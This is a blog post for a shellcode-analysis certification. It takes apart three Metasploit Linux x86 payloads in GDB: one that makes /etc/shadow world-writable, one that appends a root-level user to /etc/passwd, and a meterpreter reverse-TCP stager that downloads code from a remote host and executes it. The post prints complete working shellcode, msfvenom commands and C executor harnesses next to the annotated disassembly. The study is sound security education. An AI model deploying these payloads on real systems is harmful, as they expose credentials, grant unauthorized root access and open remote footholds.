This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1202
TL;DR:
Hi! I have written recently two articles about msfvenom-generated payloads ‘linux/x86/shellcode_bind_tcp’ and ‘linux/x86/shellcode_reverse_tcp’. And not it is a time to dig deeper in shellcode reverse engineering!
I chose next payloads for my SLAE assignment:
First two are easy and I know (in theory) how they are working on the target machine. Last one is not so easy, because this is a stager of meterpreter payload. I know how to load executable code in memory and execute it in Windows, but I don’t know how to do this in Linux. Let’s find out.
Msfvenom
root@kali:~# msfvenom -p linux/x86/chmod -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of python file: 184 bytes
buf = ""
buf += "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74"
buf += "\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01"
buf += "\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80"
Executor
german@slae-lab:~/slae-shellcoding/assignment_5$ cat executor_chmod.c
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"\xcc"
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74"
"\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01"
"\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Ok, we are ready to rock!
Compile executor and run in in your GDB. I placed ‘\xcc’ instruction before the shellcode to stop execution right before our payload.
Disassembly doesn’t make things clear:
gdb-peda$ disassemble /r
Dump of assembler code for function shellcode:
0x0804a040 <+0>: cc int3
=> 0x0804a041 <+1>: 99 cdq
0x0804a042 <+2>: 6a 0f push 0xf
0x0804a044 <+4>: 58 pop eax
0x0804a045 <+5>: 52 push edx
0x0804a046 <+6>: e8 0c 00 00 00 call 0x804a057 <shellcode+23>
0x0804a04b <+11>: 2f das
0x0804a04c <+12>: 65 gs
0x0804a04d <+13>: 74 63 je 0x804a0b2
0x0804a04f <+15>: 2f das
0x0804a050 <+16>: 73 68 jae 0x804a0ba
0x0804a052 <+18>: 61 popa
0x0804a053 <+19>: 64 6f outs dx,DWORD PTR fs:[esi]
0x0804a055 <+21>: 77 00 ja 0x804a057 <shellcode+23>
0x0804a057 <+23>: 5b pop ebx
0x0804a058 <+24>: 68 b6 01 00 00 push 0x1b6
0x0804a05d <+29>: 59 pop ecx
0x0804a05e <+30>: cd 80 int 0x80
0x0804a060 <+32>: 6a 01 push 0x1
0x0804a062 <+34>: 58 pop eax
0x0804a063 <+35>: cd 80 int 0x80
0x0804a065 <+37>: 00 00 add BYTE PTR [eax],al
End of assembler dump.
If you inspect this carefully, you will find some interesting opcodes between 0x0804a04b and 0x0804a055. This part of code is never executable and we can assume that this part stores some data.
This is a true, “\x2f\x65\x74\x64\x2f\x73\x68\x61\x64\x6f\x77\x00” is a “/etc/shadow”, 0x00 string:
>>> print "\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"
/etc/shadow
So, call 0x804a057
is just a jump to a pop ebx
instruction. Moreover, it saves pointer to “/etc/shadow” into the Stack and ‘pop ebx’ places in into EBX register.
Now we can comment our disassembly:
gdb-peda$ disassemble
Dump of assembler code for function shellcode:
0x0804a040 <+0>: int3
0x0804a041 <+1>: cdq ; hack to make edx
; equals 0x00 when we move 0x0f to eax
0x0804a042 <+2>: push 0xf
0x0804a044 <+4>: pop eax ; eax = 0xf, SYS_CHMOD code
0x0804a045 <+5>: push edx ; push 0x00
0x0804a046 <+6>: call 0x804a057 <shellcode+23>
0x0804a04b <+11>: das ; start of "/etc/shadow"
0x0804a04c <+12>: gs
0x0804a04d <+13>: je 0x804a0b2
0x0804a04f <+15>: das
0x0804a050 <+16>: jae 0x804a0ba
0x0804a052 <+18>: popa
0x0804a053 <+19>: outs dx,DWORD PTR fs:[esi]
0x0804a055 <+21>: ja 0x804a057 <shellcode+23> ; end of "/etc/shadow" and 0x00
0x0804a057 <+23>: pop ebx ; ebx points to "/etc/shadow"
0x0804a058 <+24>: push 0x1b6
0x0804a05d <+29>: pop ecx ; ecx = 0x1b6 = hex(0666 - octal number!)
0x0804a05e <+30>: int 0x80 ; SYS_CHMOD
0x0804a060 <+32>: push 0x1
0x0804a062 <+34>: pop eax
0x0804a063 <+35>: int 0x80 ; SYS_EXIT
0x0804a065 <+37>: add BYTE PTR [eax],al
End of assembler dump.
This code pushes address of filename string into the Stack, loads data into registers and calls SYS_CHMOD and, after that, gently stops execution flow with SYS_EXIT.
Msfvenom
root@kali:~# msfvenom -p linux/x86/adduser USER=namestnikov PASSWORD=hacked -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 98 bytes
Final size of python file: 482 bytes
buf = ""
buf += "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
buf += "\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
buf += "\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
buf += "\x29\x00\x00\x00\x6e\x61\x6d\x65\x73\x74\x6e\x69\x6b"
buf += "\x6f\x76\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
buf += "\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62"
buf += "\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
buf += "\xcd\x80\x6a\x01\x58\xcd\x80"
By the way, Namestnikov is my surname :D
Executor
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"\cc"
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
"\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
"\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
"\x29\x00\x00\x00\x6e\x61\x6d\x65\x73\x74\x6e\x69\x6b"
"\x6f\x76\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
"\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62"
"\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Compile and open executable into GDB. Here is the disassembly:
gdb-peda$ disassemble /r
Dump of assembler code for function shellcode:
0x0804a040 <+0>: cc int3
=> 0x0804a041 <+1>: 31 c9 xor ecx,ecx
0x0804a043 <+3>: 89 cb mov ebx,ecx
0x0804a045 <+5>: 6a 46 push 0x46
0x0804a047 <+7>: 58 pop eax
0x0804a048 <+8>: cd 80 int 0x80
0x0804a04a <+10>: 6a 05 push 0x5
0x0804a04c <+12>: 58 pop eax
0x0804a04d <+13>: 31 c9 xor ecx,ecx
0x0804a04f <+15>: 51 push ecx
0x0804a050 <+16>: 68 73 73 77 64 push 0x64777373
0x0804a055 <+21>: 68 2f 2f 70 61 push 0x61702f2f
0x0804a05a <+26>: 68 2f 65 74 63 push 0x6374652f
0x0804a05f <+31>: 89 e3 mov ebx,esp
0x0804a061 <+33>: 41 inc ecx
0x0804a062 <+34>: b5 04 mov ch,0x4
0x0804a064 <+36>: cd 80 int 0x80
0x0804a066 <+38>: 93 xchg ebx,eax
0x0804a067 <+39>: e8 29 00 00 00 call 0x804a095 <shellcode+85>
0x0804a06c <+44>: 6e outs dx,BYTE PTR ds:[esi]
0x0804a06d <+45>: 61 popa
0x0804a06e <+46>: 6d ins DWORD PTR es:[edi],dx
0x0804a06f <+47>: 65 gs
0x0804a070 <+48>: 73 74 jae 0x804a0e6
0x0804a072 <+50>: 6e outs dx,BYTE PTR ds:[esi]
0x0804a073 <+51>: 69 6b 6f 76 3a 41 7a imul ebp,DWORD PTR [ebx+0x6f],0x7a413a76
0x0804a07a <+58>: 2f das
0x0804a07b <+59>: 64 fs
0x0804a07c <+60>: 49 dec ecx
0x0804a07d <+61>: 73 6a jae 0x804a0e9
0x0804a07f <+63>: 34 70 xor al,0x70
0x0804a081 <+65>: 34 49 xor al,0x49
0x0804a083 <+67>: 52 push edx
0x0804a084 <+68>: 63 3a arpl WORD PTR [edx],di
0x0804a086 <+70>: 30 3a xor BYTE PTR [edx],bh
0x0804a088 <+72>: 30 3a xor BYTE PTR [edx],bh
0x0804a08a <+74>: 3a 2f cmp ch,BYTE PTR [edi]
0x0804a08c <+76>: 3a 2f cmp ch,BYTE PTR [edi]
0x0804a08e <+78>: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e]
0x0804a091 <+81>: 2f das
0x0804a092 <+82>: 73 68 jae 0x804a0fc
0x0804a094 <+84>: 0a 59 8b or bl,BYTE PTR [ecx-0x75]
0x0804a097 <+87>: 51 push ecx
0x0804a098 <+88>: fc cld
0x0804a099 <+89>: 6a 04 push 0x4
0x0804a09b <+91>: 58 pop eax
0x0804a09c <+92>: cd 80 int 0x80
0x0804a09e <+94>: 6a 01 push 0x1
0x0804a0a0 <+96>: 58 pop eax
0x0804a0a1 <+97>: cd 80 int 0x80
0x0804a0a3 <+99>: 00 00 add BYTE PTR [eax],al
End of assembler dump.
Let’s break it into the parts and inspect them one by one.
Part 1
=> 0x0804a041 <+1>: 31 c9 xor ecx,ecx
0x0804a043 <+3>: 89 cb mov ebx,ecx
0x0804a045 <+5>: 6a 46 push 0x46
0x0804a047 <+7>: 58 pop eax
0x0804a048 <+8>: cd 80 int 0x80
This is SYS_SETREUID16 (0x46) syscall that sets real and effective UIDs to 0 (root). We need it, because only root can add new users to the system.
Part 2
0x0804a04a <+10>: 6a 05 push 0x5
0x0804a04c <+12>: 58 pop eax
0x0804a04d <+13>: 31 c9 xor ecx,ecx
0x0804a04f <+15>: 51 push ecx
0x0804a050 <+16>: 68 73 73 77 64 push 0x64777373
0x0804a055 <+21>: 68 2f 2f 70 61 push 0x61702f2f
0x0804a05a <+26>: 68 2f 65 74 63 push 0x6374652f
0x0804a05f <+31>: 89 e3 mov ebx,esp
0x0804a061 <+33>: 41 inc ecx
0x0804a062 <+34>: b5 04 mov ch,0x4
0x0804a064 <+36>: cd 80 int 0x80
0x0804a066 <+38>: 93 xchg ebx,eax
PUSHes creates “/etc//passwd”, 0x00 string in the Stack:
>>> print "\x63\x74\x65\x2f"
cte/
>>> print "\x61\x70\x2f\x2f"
ap//
>>> print "\x64\x77\x73\x73"
dwss
EAX stores 0x05, ECX stores 0x401, EBX points to the “/etc//passwd”, 0x00 string and all of that give us SYS_OPEN syscall. 0x401 contains the flags for SYS_OPEN.
Part 3
0x0804a06c <+44>: 6e outs dx,BYTE PTR ds:[esi]
0x0804a06d <+45>: 61 popa
0x0804a06e <+46>: 6d ins DWORD PTR es:[edi],dx
0x0804a06f <+47>: 65 gs
0x0804a070 <+48>: 73 74 jae 0x804a0e6
0x0804a072 <+50>: 6e outs dx,BYTE PTR ds:[esi]
0x0804a073 <+51>: 69 6b 6f 76 3a 41 7a imul ebp,DWORD PTR [ebx+0x6f],0x7a413a76
0x0804a07a <+58>: 2f das
0x0804a07b <+59>: 64 fs
0x0804a07c <+60>: 49 dec ecx
0x0804a07d <+61>: 73 6a jae 0x804a0e9
0x0804a07f <+63>: 34 70 xor al,0x70
0x0804a081 <+65>: 34 49 xor al,0x49
0x0804a083 <+67>: 52 push edx
0x0804a084 <+68>: 63 3a arpl WORD PTR [edx],di
0x0804a086 <+70>: 30 3a xor BYTE PTR [edx],bh
0x0804a088 <+72>: 30 3a xor BYTE PTR [edx],bh
0x0804a08a <+74>: 3a 2f cmp ch,BYTE PTR [edi]
0x0804a08c <+76>: 3a 2f cmp ch,BYTE PTR [edi]
0x0804a08e <+78>: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e]
0x0804a091 <+81>: 2f das
0x0804a092 <+82>: 73 68 jae 0x804a0fc
0x0804a094 <+84>: 0a
This is a data! Opcodes is just a codes of chars in this string:
>>> print "\x6e\x61\x6d\x65\x73\x74\x6e\x69\x6b\x6f\x76\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
namestnikov:Az/dIsj4p4IRcIRc:0:0::/:/bin/sh
This is a record for “/etc/passwd” file that contains user name, password hash and default shell.
Part 4
Well, there I met a big problem in GDB disassembly - 0x0a char from previous part that actually is just a part of data was interpreted by GDB as opcode part. So, our initial disassembly was wrong. I will make a proper disassembly in the end of analysis.
=> 0x804a095 <shellcode+85>: pop ecx
0x804a096 <shellcode+86>: mov edx,DWORD PTR [ecx-0x4]
0x804a099 <shellcode+89>: push 0x4
0x804a09b <shellcode+91>: pop eax
0x804a09c <shellcode+92>: int 0x80
This is a SYS_WRITE call that writes “namestnikov:Az/dIsj4p4IRcIRc:0:0::/:/bin/sh” string into the “/etc/passwd”.
Part 5
0x0804a09e <+94>: push 0x1
0x0804a0a0 <+96>: pop eax
0x0804a0a1 <+97>: int 0x80
0x0804a0a3 <+99>: add BYTE PTR [eax],al
It is just a SYS_EXIT call that stops execution flow.
Let’s build a properly commented disassembly now:
; PART 1
=> 0x0804a041 <+1>: xor ecx,ecx
0x0804a043 <+3>: mov ebx,ecx
0x0804a045 <+5>: push 0x46
0x0804a047 <+7>: pop eax
0x0804a048 <+8>: int 0x80 ; SYS_SETREUID16 for root (uid = 0, guid = 0)
; PART 2
0x0804a04a <+10>: push 0x5
0x0804a04c <+12>: pop eax
0x0804a04d <+13>: xor ecx,ecx
0x0804a04f <+15>: push ecx ; place "/etc//passwd", 0x00 to the Stack
0x0804a050 <+16>: push 0x64777373
0x0804a055 <+21>: push 0x61702f2f
0x0804a05a <+26>: push 0x6374652f
0x0804a05f <+31>: mov ebx,esp ; ebx points to the "/etc//passwd", 0x00
0x0804a061 <+33>: inc ecx
0x0804a062 <+34>: mov ch,0x4 ; ecx stores flags = 0x401
0x0804a064 <+36>: int 0x80 ; SYS_OPEN
0x0804a066 <+38>: xchg ebx,eax
; PART 3
0x0804a06c <+44>: 6e outs dx,BYTE PTR ds:[esi] ; Only string bytes:
0x0804a06d <+45>: 61 popa ; "namestnikov:Az/dIsj4p4IRcIRc:0:0::/:/bin/sh", 0x0a
0x0804a06e <+46>: 6d ins DWORD PTR es:[edi],dx
0x0804a06f <+47>: 65 gs
0x0804a070 <+48>: 73 74 jae 0x804a0e6
0x0804a072 <+50>: 6e outs dx,BYTE PTR ds:[esi]
0x0804a073 <+51>: 69 6b 6f 76 3a 41 7a imul ebp,DWORD PTR [ebx+0x6f],0x7a413a76
0x0804a07a <+58>: 2f das
0x0804a07b <+59>: 64 fs
0x0804a07c <+60>: 49 dec ecx
0x0804a07d <+61>: 73 6a jae 0x804a0e9
0x0804a07f <+63>: 34 70 xor al,0x70
0x0804a081 <+65>: 34 49 xor al,0x49
0x0804a083 <+67>: 52 push edx
0x0804a084 <+68>: 63 3a arpl WORD PTR [edx],di
0x0804a086 <+70>: 30 3a xor BYTE PTR [edx],bh
0x0804a088 <+72>: 30 3a xor BYTE PTR [edx],bh
0x0804a08a <+74>: 3a 2f cmp ch,BYTE PTR [edi]
0x0804a08c <+76>: 3a 2f cmp ch,BYTE PTR [edi]
0x0804a08e <+78>: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e]
0x0804a091 <+81>: 2f das
0x0804a092 <+82>: 73 68 jae 0x804a0fc
0x0804a094 <+84>: 0a
; PART 4
0x804a095 <+85>: pop ecx
0x804a096 <+86>: mov edx,DWORD PTR [ecx-0x4] ; points to the /etc/passwd record
0x804a099 <+89>: push 0x4
0x804a09b <+91>: pop eax
0x804a09c <+92>: int 0x80 ; SYS_WRITE writes record to the "/etc/passwd"
; PART 5
0x0804a09e <+94>: push 0x1
0x0804a0a0 <+96>: pop eax
0x0804a0a1 <+97>: int 0x80 ; SYS_EXIT
0x0804a0a3 <+99>: add BYTE PTR [eax],al
Msfvenom
root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8081 -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of python file: 602 bytes
buf = ""
buf += "\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0"
buf += "\x66\x89\xe1\xcd\x80\x97\x5b\x68\x01\x02\x03\x04\x68"
buf += "\x02\x00\x1f\x91\x89\xe1\x6a\x66\x58\x50\x51\x57\x89"
buf += "\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2"
buf += "\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd"
buf += "\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00"
buf += "\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80"
buf += "\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd"
buf += "\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb"
buf += "\x01\x00\x00\x00\xcd\x80"
Executor
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"\xcc"
"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0"
"\x66\x89\xe1\xcd\x80\x97\x5b\x68\x01\x02\x03\x04\x68"
"\x02\x00\x1f\x91\x89\xe1\x6a\x66\x58\x50\x51\x57\x89"
"\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2"
"\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd"
"\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00"
"\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80"
"\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd"
"\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb"
"\x01\x00\x00\x00\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Ok, now we are ready to do cool things. Compile it, and disassemble the executable in GDB:
=> 0x0804a041 <+1>: push 0xa
0x0804a043 <+3>: pop esi
0x0804a044 <+4>: xor ebx,ebx
0x0804a046 <+6>: mul ebx
0x0804a048 <+8>: push ebx
0x0804a049 <+9>: inc ebx
0x0804a04a <+10>: push ebx
0x0804a04b <+11>: push 0x2
0x0804a04d <+13>: mov al,0x66
0x0804a04f <+15>: mov ecx,esp
0x0804a051 <+17>: int 0x80
0x0804a053 <+19>: xchg edi,eax
0x0804a054 <+20>: pop ebx
0x0804a055 <+21>: push 0x4030201
0x0804a05a <+26>: push 0x911f0002
0x0804a05f <+31>: mov ecx,esp
0x0804a061 <+33>: push 0x66
0x0804a063 <+35>: pop eax
0x0804a064 <+36>: push eax
0x0804a065 <+37>: push ecx
0x0804a066 <+38>: push edi
0x0804a067 <+39>: mov ecx,esp
0x0804a069 <+41>: inc ebx
0x0804a06a <+42>: int 0x80
0x0804a06c <+44>: test eax,eax
0x0804a06e <+46>: jns 0x804a089 <shellcode+73>
0x0804a070 <+48>: dec esi
0x0804a071 <+49>: je 0x804a0b0 <shellcode+112>
0x0804a073 <+51>: push 0xa2
0x0804a078 <+56>: pop eax
0x0804a079 <+57>: push 0x0
0x0804a07b <+59>: push 0x5
0x0804a07d <+61>: mov ebx,esp
0x0804a07f <+63>: xor ecx,ecx
0x0804a081 <+65>: int 0x80
0x0804a083 <+67>: test eax,eax
0x0804a085 <+69>: jns 0x804a044 <shellcode+4>
0x0804a087 <+71>: jmp 0x804a0b0 <shellcode+112>
0x0804a089 <+73>: mov dl,0x7
0x0804a08b <+75>: mov ecx,0x1000
0x0804a090 <+80>: mov ebx,esp
0x0804a092 <+82>: shr ebx,0xc
0x0804a095 <+85>: shl ebx,0xc
0x0804a098 <+88>: mov al,0x7d
0x0804a09a <+90>: int 0x80
0x0804a09c <+92>: test eax,eax
0x0804a09e <+94>: js 0x804a0b0 <shellcode+112>
0x0804a0a0 <+96>: pop ebx
0x0804a0a1 <+97>: mov ecx,esp
0x0804a0a3 <+99>: cdq
0x0804a0a4 <+100>: mov dh,0xc
0x0804a0a6 <+102>: mov al,0x3
0x0804a0a8 <+104>: int 0x80
0x0804a0aa <+106>: test eax,eax
0x0804a0ac <+108>: js 0x804a0b0 <shellcode+112>
0x0804a0ae <+110>: jmp ecx
0x0804a0b0 <+112>: mov eax,0x1
0x0804a0b5 <+117>: mov ebx,0x1
0x0804a0ba <+122>: int 0x80
0x0804a0bc <+124>: add BYTE PTR [eax],al
I believe that this thing may be hard to reverse, so, let’s break it into the parts again.
Part 1
=> 0x0804a041 <+1>: push 0xa
0x0804a043 <+3>: pop esi
0x0804a044 <+4>: xor ebx,ebx
0x0804a046 <+6>: mul ebx
0x0804a048 <+8>: push ebx
0x0804a049 <+9>: inc ebx
0x0804a04a <+10>: push ebx
0x0804a04b <+11>: push 0x2
0x0804a04d <+13>: mov al,0x66
0x0804a04f <+15>: mov ecx,esp
0x0804a051 <+17>: int 0x80
First part is a SYS_SOCKETCALL (0x66) that runs SYS_SOCKET (0x01). I mentioned SYS_SOCKETCALL syscall in previous articles, so I won’t pay attention to this again.
Part 2
0x0804a053 <+19>: xchg edi,eax
0x0804a054 <+20>: pop ebx
0x0804a055 <+21>: push 0x4030201
0x0804a05a <+26>: push 0x911f0002
0x0804a05f <+31>: mov ecx,esp
0x0804a061 <+33>: push 0x66
0x0804a063 <+35>: pop eax
0x0804a064 <+36>: push eax
0x0804a065 <+37>: push ecx
0x0804a066 <+38>: push edi
0x0804a067 <+39>: mov ecx,esp
0x0804a069 <+41>: inc ebx
0x0804a06a <+42>: int 0x80
This part pushes sockaddr_in structure into the Stack - 0x40302010 is an IP (1.2.3.4) and 911f stands for Port (8081). Both values are in big-endian.
int 0x80 in this case calls SYS_SOCKETCALL with SYS_CONNECT (EBX equals 0x03).
This part of code establishes TCP-connection with remote host like it would be a reverse_tcp shell.
Part 3
0x0804a06c <+44>: test eax,eax
0x0804a06e <+46>: jns 0x804a089 <shellcode+73>
0x0804a070 <+48>: dec esi
0x0804a071 <+49>: je 0x804a0b0 <shellcode+112>
0x0804a073 <+51>: push 0xa2
0x0804a078 <+56>: pop eax
0x0804a079 <+57>: push 0x0
0x0804a07b <+59>: push 0x5
0x0804a07d <+61>: mov ebx,esp
0x0804a07f <+63>: xor ecx,ecx
0x0804a081 <+65>: int 0x80
0x0804a083 <+67>: test eax,eax
0x0804a085 <+69>: jns 0x804a044 <shellcode+4>
0x0804a087 <+71>: jmp 0x804a0b0 <shellcode+112>
If previously called SYS_SOCKET returned -1 (something bad happened), test instruction will set up Sign Flag (SF) into 1 and execution flow will be redirected by JNS instruction to 0x804a089 address.
After that, we decrement ESI value (starts from 0x0a), checks ZF and jumps to 0x804a0b0 if ZF is 1. This is a small spoiler, but there are some instructions and SYS_EXIT placed at 0x804a0b0.
Then, SYS_NANOSLEEP is executed, program sleeps for 5 seconds and the shellcode tries to establish connection again. If there is no connection after 10 attempts (ESI = 0x0a), it makes jump to exit section.
Part 4
0x0804a089 <+73>: mov dl,0x7
0x0804a08b <+75>: mov ecx,0x1000
0x0804a090 <+80>: mov ebx,esp
0x0804a092 <+82>: shr ebx,0xc
0x0804a095 <+85>: shl ebx,0xc
0x0804a098 <+88>: mov al,0x7d
0x0804a09a <+90>: int 0x80
0x0804a09c <+92>: test eax,eax
0x0804a09e <+94>: js 0x804a0b0 <shellcode+112>
If connection was established, the shellcode calls SYS_MPROTECT. Here is the man page:
NAME
mprotect - set protection on a region of memory
SYNOPSIS
#include <sys/mman.h> int mprotect(const void *addr, size_t len, int prot);
In our case, addr points to the top of the stack (mov ebx, esp
), length is 4096 bytes (mov ecx, 0x1000
) and prot is 0x07 (mov dl, 0x7
) that means that this memory is executable, readable and writable.
If something goes wrong, SYS_MPROTECT returns negative value and we jump to the SYS_EXIT and associated code.
Part 5
0x0804a0a0 <+96>: pop ebx
0x0804a0a1 <+97>: mov ecx,esp
0x0804a0a3 <+99>: cdq
0x0804a0a4 <+100>: mov dh,0xc
0x0804a0a6 <+102>: mov al,0x3
0x0804a0a8 <+104>: int 0x80
0x0804a0aa <+106>: test eax,eax
0x0804a0ac <+108>: js 0x804a0b0 <shellcode+112>
0x0804a0ae <+110>: jmp ecx
Well, EAX equals 0x03, so int 0x80
invokes SYS_READ syscall. The pop ebx
instruction places socket file descriptor into EBX and all other instructions read bytes from socket and writes it to the stack. Again, if something goes wrong, the exit jump is performed.
Very, very careful payload. I like it!
The last part is about SYS_EXIT and don’t have any interesting moments.
Now we finished our dissection and can build commented disassembly:
; Part 1
0x0804a041 <+1>: push 0xa
0x0804a043 <+3>: pop esi ; Number of connection attempts
0x0804a044 <+4>: xor ebx,ebx
0x0804a046 <+6>: mul ebx
0x0804a048 <+8>: push ebx
0x0804a049 <+9>: inc ebx
0x0804a04a <+10>: push ebx
0x0804a04b <+11>: push 0x2 ; SYS_SOCKET arguments
0x0804a04d <+13>: mov al,0x66
0x0804a04f <+15>: mov ecx,esp
0x0804a051 <+17>: int 0x80 ; SYS_SOCKETCALL (EAX = 0x66)
; with SYS_SOCKET (EBX = 0x01)
; Part 2
0x0804a053 <+19>: xchg edi,eax ; EDI stores socket descriptor
0x0804a054 <+20>: pop ebx
0x0804a055 <+21>: push 0x4030201 ; IP in big-endian
0x0804a05a <+26>: push 0x911f0002 ; Port (0x911f) in big-endian
0x0804a05f <+31>: mov ecx,esp
0x0804a061 <+33>: push 0x66
0x0804a063 <+35>: pop eax
0x0804a064 <+36>: push eax
0x0804a065 <+37>: push ecx
0x0804a066 <+38>: push edi
0x0804a067 <+39>: mov ecx,esp
0x0804a069 <+41>: inc ebx
0x0804a06a <+42>: int 0x80 ; SYS_CONNECT
; Part 3
0x0804a06c <+44>: test eax,eax
0x0804a06e <+46>: jns 0x804a089 <shellcode+73> ; on success SYS_CONNECT
0x0804a070 <+48>: dec esi
0x0804a071 <+49>: je 0x804a0b0 <shellcode+112> ; on all 10 attempts connection failed
0x0804a073 <+51>: push 0xa2
0x0804a078 <+56>: pop eax
0x0804a079 <+57>: push 0x0
0x0804a07b <+59>: push 0x5
0x0804a07d <+61>: mov ebx,esp
0x0804a07f <+63>: xor ecx,ecx
0x0804a081 <+65>: int 0x80 ; SYS_NANOSLEEP for 5 seconds
0x0804a083 <+67>: test eax,eax
0x0804a085 <+69>: jns 0x804a044 <shellcode+4> ; retry socket init & connection
0x0804a087 <+71>: jmp 0x804a0b0 <shellcode+112>
; Part 4
0x0804a089 <+73>: mov dl,0x7 ; read | write | execute
0x0804a08b <+75>: mov ecx,0x1000 ; 4096 bytes
0x0804a090 <+80>: mov ebx,esp
0x0804a092 <+82>: shr ebx,0xc
0x0804a095 <+85>: shl ebx,0xc
0x0804a098 <+88>: mov al,0x7d
0x0804a09a <+90>: int 0x80 ; SYS_MPROTECT
0x0804a09c <+92>: test eax,eax
0x0804a09e <+94>: js 0x804a0b0 <shellcode+112> ; exit on failed SYS_MPROTECT call
; Part 5
0x0804a0a0 <+96>: pop ebx ; socket file descriptor
0x0804a0a1 <+97>: mov ecx,esp
0x0804a0a3 <+99>: cdq
0x0804a0a4 <+100>: mov dh,0xc
0x0804a0a6 <+102>: mov al,0x3
0x0804a0a8 <+104>: int 0x80 ; SYS_READ from EBX to ECX
; that points to buffer in Stack
0x0804a0aa <+106>: test eax,eax
0x0804a0ac <+108>: js 0x804a0b0 <shellcode+112> ; exit on failed SYS_READ call
0x0804a0ae <+110>: jmp ecx ; execute meterpreter payload
; Part 6
0x0804a0b0 <+112>: mov eax,0x1
0x0804a0b5 <+117>: mov ebx,0x1
0x0804a0ba <+122>: int 0x80 ; SYS_EXIT
0x0804a0bc <+124>: add BYTE PTR [eax],al
We have done it! This shellcode creates socket, tries to connect to remote host, sleeps if failed, but on success, it changes memory protection on Stack region, loads to this region meterpreter payload and executes it!
I am sorry for the first two shellcodes - they are really not so interesting. But the last one is amazing and I hope that you enjoyed it too!
Good Luck!
The end